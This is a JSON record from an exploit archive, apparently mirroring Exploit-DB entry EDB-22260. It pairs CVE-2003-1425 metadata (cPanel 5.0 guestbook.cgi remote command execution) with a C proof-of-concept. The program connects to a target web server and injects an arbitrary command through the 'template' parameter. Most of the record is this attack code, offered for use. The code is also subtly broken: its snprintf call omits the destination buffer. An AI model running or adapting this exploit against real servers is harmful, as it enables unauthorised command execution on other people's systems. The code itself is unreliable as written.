{"exploit":{"id":"EDB-22260","name":"cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (1)","description":"cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (1)","cves":["CVE-2003-1425"],"author":"bob","published":"2003-02-19","platform":"cgi","type":"webapps","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/22260","path":"exploits/cgi/webapps/22260.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-22260.c","vulnerabilities":[{"id":"CVE-2003-1425","state":"PUBLISHED","title":null,"titleSource":null,"description":"guestbook.cgi in cPanel 5.0 allows remote attackers to execute arbitrary commands via the template parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-1425","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-1425"},"updatedAt":"2024-08-08T02:28:03.598Z","retrievedAt":"2026-11-26T23:58:07.572Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-22260.png?v=2","url":"https://exploitbin.com/exploits/EDB-22260","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-22260/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-22260/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2003/https://www.securityfocus.com/bid/6882/info\n\nA remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.\n\nAn attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.\n\nThis vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.\n\n/*\n * DSR-cpanel.c by bob@dtors.net\n * Vulnerbility found by Polkeyzz\n *\n * This is a Proof of Concept exploit for\n * the cpanel 5 and below. Problem is a open()\n * in guestbook.cgi.\n *\n * User may view any file or execute commands.\n * There also exists a local vulnerbility to\n * escalate privileges to root.\n *\n * PoC by bob of dtors.net >>DSR-apache rewrite<<\n */\n#include <stdio.h>\n#include <unistd.h>\n#include <string.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <netdb.h>\nint main(int argc, char *argv[]) {\nint sock;\nchar exp[75];\nstruct in_addr addr;\nstruct sockaddr_in sin;\nstruct hostent *bob;\n\nfprintf(stdout, \"\\n\\tDSR-cpanel.c By bob.\\n\");\nfprintf(stdout, \"Proof Of Concept Code for cpanel 5.0 <\\n\");\nfprintf(stdout, \"\\tDSR-[www.dtors.net]-DSR\\n\");\n\nif(argc<3)\n  {\n   fprintf(stderr, \"\\nUsage : %s <host> <command>\\n\\n\", argv[0]);\n   exit(1);\n  }\n\nif ((bob=gethostbyname(argv[1])) == NULL)\n   {\n   fprintf(stderr, \"Socket Error!\\n\\n\");\n   exit(1);\n   }\nsock=socket(AF_INET, SOCK_STREAM, 0);\nbcopy(bob->h_addr, (char *)&sin.sin_addr, bob->h_length);\nsin.sin_family=AF_INET;\nsin.sin_port=htons(80);\nfprintf(stdout, \"Connecting...\\n\");\nif (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)\n     {\n     fprintf(stderr, \"...Problem Connecting, Exited.\\n\");\n     exit(1);\n     }\nelse {\nsnprintf(sizeof(exp)-1, \"GET\n/cgi-sys/guestbook.cgi/user=cpanel&template=%s HTTP/1.1\\r\\nHost:\n%s\\r\\n\\r\\n\" ,argv[2], argv[1]);\nwrite(sock,exp,strlen(exp));\nfprintf(stdout, \"Command sent/executed!\\n\\n\");\nclose(sock);\nexit (0);\n}\n}","sha256":"fdfe183a31e61d9037061ad158f185da01c73da827a9c3baafaf5fef5653c190","bytes":2072,"fetchedAt":"2026-11-27T08:11:41.764Z","encoding":"utf-8 (display only; download retains original bytes)"}